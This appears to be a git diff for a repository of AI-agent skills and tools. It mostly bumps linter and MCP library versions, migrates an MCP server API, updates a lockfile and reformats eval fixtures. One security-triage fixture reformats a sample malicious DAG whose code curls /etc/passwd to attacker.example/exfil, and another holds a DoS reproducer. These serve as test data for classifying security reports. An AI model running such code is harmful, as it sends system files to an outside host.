diff --git a/ai-tutors/pyproject.toml b/ai-tutors/pyproject.toml index dad1b782b..4e01bfa46 100644 --- a/ai-tutors/pyproject.toml +++ b/ai-tutors/pyproject.toml @@ -78,5 +78,5 @@ testpaths = ["."] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.21", + "ruff>=0.16.2", ] diff --git a/pyproject.toml b/pyproject.toml index e2959a4bd..4b7369fa9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -57,8 +57,8 @@ requires-python = ">=3.11" # `[tool.uv] exclude-newer` cooldown below, so the resolved version # is "the most recent that is at least 7 days old". dev = [ - "prek>=0.4.10", - "ruff>=0.15.22", + "prek>=0.4.13", + "ruff>=0.16.2", "mypy>=2.3.0", "pytest>=9.1.1", ] diff --git a/skills/contributor-nomination/fetch.md b/skills/contributor-nomination/fetch.md index b5202208d..4dd4b54c0 100644 --- a/skills/contributor-nomination/fetch.md +++ b/skills/contributor-nomination/fetch.md @@ -199,7 +199,7 @@ calendar month to feed the activity timeline in ```python # Pseudocode — implement via jq or Python as convenient for event in all_events: - month = event["createdAt"][:7] # "YYYY-MM" + month = event["createdAt"][:7] # "YYYY-MM" buckets[month] += 1 ``` diff --git a/skills/contributor-sentiment/SKILL.md b/skills/contributor-sentiment/SKILL.md index ad05aacbc..682df2423 100644 --- a/skills/contributor-sentiment/SKILL.md +++ b/skills/contributor-sentiment/SKILL.md @@ -214,7 +214,7 @@ Aggregate counts per login. Compute Gini as: ```python sorted = sorted(counts) n = len(sorted) -gini = (2 * sum((i+1)*v for i,v in enumerate(sorted)) / (n * sum(sorted))) - (n+1)/n +gini = (2 * sum((i + 1) * v for i, v in enumerate(sorted)) / (n * sum(sorted))) - (n + 1) / n ``` Clamp to [0, 1]. If reviewer_count < 2, set `reviewer_load_gini: null` diff --git a/skills/issue-reproducer/verification.md b/skills/issue-reproducer/verification.md index ae85825a4..382061bf2 100644 --- a/skills/issue-reproducer/verification.md +++ b/skills/issue-reproducer/verification.md @@ -57,7 +57,7 @@ substring matching near common prefixes. **Bad:** ```python -if "xs" in output: # matches xsi too +if "xs" in output: # matches xsi too classified = "still-fails-same" ``` @@ -73,7 +73,8 @@ if (output.contains("foo")) { // matches foo-bar, foobar ```python import re -if re.search(r'\bxs="[^"]*"', output): # match only xs= attribute + +if re.search(r'\bxs="[^"]*"', output): # match only xs= attribute classified = "still-fails-same" ``` diff --git a/skills/pyproject.toml b/skills/pyproject.toml index c6562e571..12b64d470 100644 --- a/skills/pyproject.toml +++ b/skills/pyproject.toml @@ -97,5 +97,5 @@ testpaths = ["."] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.21", + "ruff>=0.16.2", ] diff --git a/tools/agent-guard/pyproject.toml b/tools/agent-guard/pyproject.toml index 9f088f9b6..c48854311 100644 --- a/tools/agent-guard/pyproject.toml +++ b/tools/agent-guard/pyproject.toml @@ -85,5 +85,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/agent-isolation/pyproject.toml b/tools/agent-isolation/pyproject.toml index f70b622cf..d6326d9ab 100644 --- a/tools/agent-isolation/pyproject.toml +++ b/tools/agent-isolation/pyproject.toml @@ -45,5 +45,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/bitbucket/pyproject.toml b/tools/bitbucket/pyproject.toml index 2707aed5b..6a81b2116 100644 --- a/tools/bitbucket/pyproject.toml +++ b/tools/bitbucket/pyproject.toml @@ -83,5 +83,5 @@ testpaths = ["tests"] dev = [ "mypy>=1.10", "pytest>=8.0", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml b/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml index 811f0f9d6..1453433b4 100644 --- a/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml +++ b/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml @@ -94,5 +94,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/cve-tool-vulnogram/oauth-api/pyproject.toml b/tools/cve-tool-vulnogram/oauth-api/pyproject.toml index a8791e431..66976971c 100644 --- a/tools/cve-tool-vulnogram/oauth-api/pyproject.toml +++ b/tools/cve-tool-vulnogram/oauth-api/pyproject.toml @@ -95,5 +95,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/egress-gateway/pyproject.toml b/tools/egress-gateway/pyproject.toml index 830887c7f..7075fd3e2 100644 --- a/tools/egress-gateway/pyproject.toml +++ b/tools/egress-gateway/pyproject.toml @@ -69,5 +69,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/github-body-field/pyproject.toml b/tools/github-body-field/pyproject.toml index 044da99a4..e63030f42 100644 --- a/tools/github-body-field/pyproject.toml +++ b/tools/github-body-field/pyproject.toml @@ -88,5 +88,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/github-rollup/pyproject.toml b/tools/github-rollup/pyproject.toml index 2bda6bbc0..516a13572 100644 --- a/tools/github-rollup/pyproject.toml +++ b/tools/github-rollup/pyproject.toml @@ -74,5 +74,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/gmail/oauth-draft/pyproject.toml b/tools/gmail/oauth-draft/pyproject.toml index d13ffc0ab..a634a4a9e 100644 --- a/tools/gmail/oauth-draft/pyproject.toml +++ b/tools/gmail/oauth-draft/pyproject.toml @@ -40,7 +40,7 @@ dependencies = [ # install it with `uv run --project ... --extra mcp oauth-draft-mcp`. [project.optional-dependencies] mcp = [ - "mcp>=1.28.1", + "mcp>=2.0.0", ] [project.scripts] @@ -117,7 +117,7 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", # Needed to import and test `oauth_draft.mcp_server` (the `mcp` extra). - "mcp>=1.28.1", + "mcp>=2.0.0", ] diff --git a/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py b/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py index 872c7e159..230f89b27 100644 --- a/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py +++ b/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py @@ -70,7 +70,7 @@ from collections.abc import Iterator from typing import Any -from mcp.server.fastmcp import FastMCP +from mcp.server.mcpserver import MCPServer from oauth_draft import create_draft as _cd from oauth_draft import setup_creds as _setup @@ -81,7 +81,7 @@ refresh_access_token, ) -mcp = FastMCP("gmail-plaintext") +mcp = MCPServer("gmail-plaintext") @contextlib.contextmanager @@ -90,7 +90,7 @@ def _as_tool_error() -> Iterator[None]: ``create_draft.py`` / ``credentials.py`` raise ``SystemExit`` (they are also console scripts). ``SystemExit`` is a ``BaseException``, not an - ``Exception``, so without this it would propagate past FastMCP and kill + ``Exception``, so without this it would propagate past MCPServer and kill the server process instead of surfacing as a failed tool call. """ try: diff --git a/tools/gmail/oauth-draft/tests/test_mcp_server.py b/tools/gmail/oauth-draft/tests/test_mcp_server.py index 9afb08c85..d61ea3574 100644 --- a/tools/gmail/oauth-draft/tests/test_mcp_server.py +++ b/tools/gmail/oauth-draft/tests/test_mcp_server.py @@ -85,13 +85,13 @@ def test_tools_are_registered_without_any_html_parameter(): names = {t.name for t in tools} assert names == {"create_draft", "setup_credentials", "check_auth"} by_name = {t.name: t for t in tools} - draft_props = by_name["create_draft"].inputSchema.get("properties", {}) + draft_props = by_name["create_draft"].input_schema.get("properties", {}) # The draft tool must never expose an HTML / rich-text body knob. assert not any("html" in p.lower() for p in draft_props) assert {"to", "subject", "body"} <= set(draft_props) # No tool anywhere exposes an html parameter. for t in tools: - assert not any("html" in p.lower() for p in t.inputSchema.get("properties", {})) + assert not any("html" in p.lower() for p in t.input_schema.get("properties", {})) def test_impl_produces_single_part_plain_text_with_verbatim_link(): diff --git a/tools/jira/pyproject.toml b/tools/jira/pyproject.toml index d9c595bf6..efeccf746 100644 --- a/tools/jira/pyproject.toml +++ b/tools/jira/pyproject.toml @@ -57,5 +57,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/maildir/pyproject.toml b/tools/maildir/pyproject.toml index c5c9790b6..8b248ad4e 100644 --- a/tools/maildir/pyproject.toml +++ b/tools/maildir/pyproject.toml @@ -87,5 +87,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/permission-audit/pyproject.toml b/tools/permission-audit/pyproject.toml index 57202d610..5c85a48a4 100644 --- a/tools/permission-audit/pyproject.toml +++ b/tools/permission-audit/pyproject.toml @@ -77,5 +77,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/pilot-report-validator/pyproject.toml b/tools/pilot-report-validator/pyproject.toml index d0a3c09e4..306d54fbe 100644 --- a/tools/pilot-report-validator/pyproject.toml +++ b/tools/pilot-report-validator/pyproject.toml @@ -50,7 +50,7 @@ ignore = ["E501"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] [tool.pytest.ini_options] diff --git a/tools/pr-management-stats/pyproject.toml b/tools/pr-management-stats/pyproject.toml index 67336a2c8..81b3b1d5d 100644 --- a/tools/pr-management-stats/pyproject.toml +++ b/tools/pr-management-stats/pyproject.toml @@ -44,5 +44,5 @@ pythonpath = [".", "tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/preflight-audit/pyproject.toml b/tools/preflight-audit/pyproject.toml index e2f0f254f..aa4e0a5dc 100644 --- a/tools/preflight-audit/pyproject.toml +++ b/tools/preflight-audit/pyproject.toml @@ -87,5 +87,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/privacy-llm/checker/pyproject.toml b/tools/privacy-llm/checker/pyproject.toml index f2792fc47..870baef59 100644 --- a/tools/privacy-llm/checker/pyproject.toml +++ b/tools/privacy-llm/checker/pyproject.toml @@ -88,5 +88,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/privacy-llm/redactor/pyproject.toml b/tools/privacy-llm/redactor/pyproject.toml index 99fadba51..b3312f5df 100644 --- a/tools/privacy-llm/redactor/pyproject.toml +++ b/tools/privacy-llm/redactor/pyproject.toml @@ -91,5 +91,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/sandbox-lint/pyproject.toml b/tools/sandbox-lint/pyproject.toml index 60e9f3a31..8aa0ce98d 100644 --- a/tools/sandbox-lint/pyproject.toml +++ b/tools/sandbox-lint/pyproject.toml @@ -88,5 +88,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/security-tracker-stats-dashboard/pyproject.toml b/tools/security-tracker-stats-dashboard/pyproject.toml index a2b3f76a7..c91de562b 100644 --- a/tools/security-tracker-stats-dashboard/pyproject.toml +++ b/tools/security-tracker-stats-dashboard/pyproject.toml @@ -55,5 +55,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/skill-and-tool-validator/pyproject.toml b/tools/skill-and-tool-validator/pyproject.toml index 5a53f55e8..32513fd3a 100644 --- a/tools/skill-and-tool-validator/pyproject.toml +++ b/tools/skill-and-tool-validator/pyproject.toml @@ -85,5 +85,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md index 6f92421ca..b54692f9c 100644 --- a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md +++ b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md @@ -12,9 +12,11 @@ Body: from airflow.operators.python import PythonOperator from datetime import datetime + def my_func(x, y): print(f"x={x}, y={y}") + with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag: PythonOperator(task_id="t1", python_callable=my_func, op_kwargs={"x": 1, "y": 2}) ``` @@ -24,5 +26,6 @@ Comments: ```python from airflow.operators.python import PythonOperator + PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({}) ``` diff --git a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md index 048aa0c4e..aa0e44efd 100644 --- a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md +++ b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md @@ -11,6 +11,7 @@ Body: ```python from airflow.providers.sftp.hooks.sftp import SFTPHook + hook = SFTPHook(ssh_conn_id="sftp_conn") hook.get_conn() ``` diff --git a/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md b/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md index edff18ae8..72927250c 100644 --- a/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md +++ b/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md @@ -12,9 +12,11 @@ Body: from airflow.operators.python import PythonOperator from datetime import datetime + def my_func(x, y): print(f"x={x}, y={y}") + with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag: PythonOperator( task_id="t1", @@ -27,5 +29,6 @@ Body: ```python from airflow.operators.python import PythonOperator + PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({}) ``` diff --git a/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md b/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md index d3e0eaf83..4b57181d1 100644 --- a/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md +++ b/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md @@ -15,8 +15,9 @@ Body: Reproduction: ```python from airflow.models import XCom - XCom.set(key='my|key', value='test', task_id='t1', dag_id='d1', run_id='r1') - result = XCom.get_many(key='my|key', task_ids='t1', dag_ids='d1', run_ids='r1') + + XCom.set(key="my|key", value="test", task_id="t1", dag_id="d1", run_id="r1") + result = XCom.get_many(key="my|key", task_ids="t1", dag_ids="d1", run_ids="r1") print(list(result)) # prints [] ``` diff --git a/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md b/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md index 22c4d7049..e1c72b937 100644 --- a/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md +++ b/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md @@ -28,6 +28,7 @@ velox-stream >= 0.8.0, tested on 0.9.2. **Steps to reproduce** ```python import velox_stream + velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096) # triggers OOM in velox_stream/parser/gzip.py:241 ``` diff --git a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md index d2bc2e3a7..24143dd47 100644 --- a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md +++ b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md @@ -12,7 +12,7 @@ Messages (chronological): my script manually and it works. Here is the minimal reproducer: ```python - bash_task = BashOperator(task_id='test', bash_command='echo hello') + bash_task = BashOperator(task_id="test", bash_command="echo hello") ``` Expected: task succeeds. Actual: task marked as failed." diff --git a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md index f8267f671..18a4771dd 100644 --- a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md +++ b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md @@ -14,7 +14,7 @@ Messages (chronological): minute. A typical DAG looks like: ```python - with DAG('etl_daily', schedule_interval='@daily') as dag: + with DAG("etl_daily", schedule_interval="@daily") as dag: ... ``` diff --git a/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md b/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md index cc6cd651c..a592fbf87 100644 --- a/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md +++ b/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md @@ -24,6 +24,7 @@ velox-stream >= 0.8.0, tested on 0.9.2. **Steps to reproduce** ```python import velox_stream + velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096) ``` diff --git a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md index 55305289e..c8fd5a9f2 100644 --- a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md +++ b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md @@ -10,8 +10,9 @@ Airflow worker. Example: ```python def malicious(): import subprocess, os - subprocess.run(["curl", "http://attacker.example/exfil", - "-d", open("/etc/passwd").read()]) + + subprocess.run(["curl", "http://attacker.example/exfil", "-d", open("/etc/passwd").read()]) + with DAG("exfil") as dag: PythonOperator(task_id="steal", python_callable=malicious) diff --git a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md index 03126f062..9269b0ac9 100644 --- a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md +++ b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md @@ -12,6 +12,7 @@ hung, no other DAGs are scheduled. # cycle.py import cycle # imports itself from airflow import DAG + dag = DAG("cycle", schedule=None) ``` diff --git a/tools/skill-evals/pyproject.toml b/tools/skill-evals/pyproject.toml index 97f2a3286..b97021479 100644 --- a/tools/skill-evals/pyproject.toml +++ b/tools/skill-evals/pyproject.toml @@ -55,5 +55,5 @@ addopts = "-ra -q" dev = [ "mypy>=2.3.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/sourcehut/pyproject.toml b/tools/sourcehut/pyproject.toml index 18f2f4899..443a9600c 100644 --- a/tools/sourcehut/pyproject.toml +++ b/tools/sourcehut/pyproject.toml @@ -30,7 +30,7 @@ dependencies = [] [dependency-groups] dev = [ - "ruff>=0.15.22", + "ruff>=0.16.2", "mypy>=2.3.0", "pytest>=9.1.1", ] diff --git a/tools/spec-inventory/pyproject.toml b/tools/spec-inventory/pyproject.toml index 084953a6d..e44ef906f 100644 --- a/tools/spec-inventory/pyproject.toml +++ b/tools/spec-inventory/pyproject.toml @@ -67,7 +67,7 @@ disallow_incomplete_defs = false dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] [tool.pytest.ini_options] diff --git a/tools/spec-status-index/pyproject.toml b/tools/spec-status-index/pyproject.toml index 3273e9422..66fb6de53 100644 --- a/tools/spec-status-index/pyproject.toml +++ b/tools/spec-status-index/pyproject.toml @@ -87,5 +87,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/spec-validator/pyproject.toml b/tools/spec-validator/pyproject.toml index ee58a397c..c727249ec 100644 --- a/tools/spec-validator/pyproject.toml +++ b/tools/spec-validator/pyproject.toml @@ -50,7 +50,7 @@ ignore = ["E501"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] [tool.pytest.ini_options] diff --git a/tools/symlink-lint/pyproject.toml b/tools/symlink-lint/pyproject.toml index 670880de7..57faffcf3 100644 --- a/tools/symlink-lint/pyproject.toml +++ b/tools/symlink-lint/pyproject.toml @@ -88,5 +88,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/vcs/pyproject.toml b/tools/vcs/pyproject.toml index 1cf6e37a1..6acb99fea 100644 --- a/tools/vcs/pyproject.toml +++ b/tools/vcs/pyproject.toml @@ -88,5 +88,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/tools/vendor-neutrality-score/pyproject.toml b/tools/vendor-neutrality-score/pyproject.toml index 44bcb0f9c..fd5e4ec91 100644 --- a/tools/vendor-neutrality-score/pyproject.toml +++ b/tools/vendor-neutrality-score/pyproject.toml @@ -87,5 +87,5 @@ testpaths = ["tests"] dev = [ "mypy>=2.1.0", "pytest>=9.1.1", - "ruff>=0.15.22", + "ruff>=0.16.2", ] diff --git a/uv.lock b/uv.lock index bcd7cbb41..fdd0b9130 100644 --- a/uv.lock +++ b/uv.lock @@ -6,7 +6,8 @@ resolution-markers = [ "python_full_version == '3.14.*' and sys_platform == 'win32'", "python_full_version == '3.14.*' and sys_platform != 'win32'", "python_full_version < '3.14' and sys_platform == 'win32'", - "python_full_version < '3.14' and sys_platform != 'win32'", + "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'", + "(python_full_version < '3.12' and sys_platform == 'emscripten') or (python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32')", ] [options] @@ -68,7 +69,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -89,7 +90,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -110,7 +111,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.21" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -153,9 +154,9 @@ dev = [ [package.metadata.requires-dev] dev = [ { name = "mypy", specifier = ">=2.3.0" }, - { name = "prek", specifier = ">=0.4.10" }, + { name = "prek", specifier = ">=0.4.13" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -394,7 +395,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -496,7 +497,7 @@ requires-dist = [{ name = "proxy-py", specifier = ">=2.4,<3" }] dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -517,7 +518,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -538,7 +539,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -559,7 +560,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -598,49 +599,51 @@ wheels = [ ] [[package]] -name = "httpcore" -version = "1.0.9" +name = "httpcore2" +version = "2.10.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "certifi" }, { name = "h11" }, + { name = "truststore" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a9/83/a896fc59940fc5a6e2aff3a4be1d92fa890112936803b331cae75a993c34/httpcore2-2.10.0.tar.gz", hash = "sha256:13c0cc3d1919d4f28457f60cd2c2abe04113a8af184ccf1142811beba936f9dc", size = 67427, upload-time = "2026-08-09T09:11:32.123Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, + { url = "https://files.pythonhosted.org/packages/e5/4f/d149104195a35e2853a2fc203a8e3477747e58c80e17dda686dace174383/httpcore2-2.10.0-py3-none-any.whl", hash = "sha256:7df06cfb34070cae4f7c89be69dc1095eca138e9704ceffb98d25c1912ab6f01", size = 83000, upload-time = "2026-08-09T09:11:29.555Z" }, ] [[package]] -name = "httpx" -version = "0.28.1" +name = "httpx2" +version = "2.10.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "anyio" }, - { name = "certifi" }, - { name = "httpcore" }, + { name = "anyio", marker = "sys_platform != 'emscripten'" }, + { name = "httpcore2", marker = "sys_platform != 'emscripten'" }, + { name = "httpx2-jsfetch", marker = "python_full_version >= '3.12' and sys_platform == 'emscripten'" }, { name = "idna" }, + { name = "truststore", marker = "sys_platform != 'emscripten'" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/3d/f9a8c07a3884f3e5b26205e8436a18b3af61c5d53192c3bea235574dbbec/httpx2-2.10.0.tar.gz", hash = "sha256:8741d7329fe2c7885fc9ceb61c8217acfb87a85f75723714b89ebf7ad7196338", size = 98749, upload-time = "2026-08-09T09:11:33.24Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, + { url = "https://files.pythonhosted.org/packages/b9/6d/a637d52449d98a6892d9a4dc0262587afdb6a66f201871842dce5a97b1c1/httpx2-2.10.0-py3-none-any.whl", hash = "sha256:5e3194a432701e1cc6f69a8b1b2fa199ef907013fede8d9a09a2c5b7b8141a18", size = 94355, upload-time = "2026-08-09T09:11:30.882Z" }, ] [[package]] 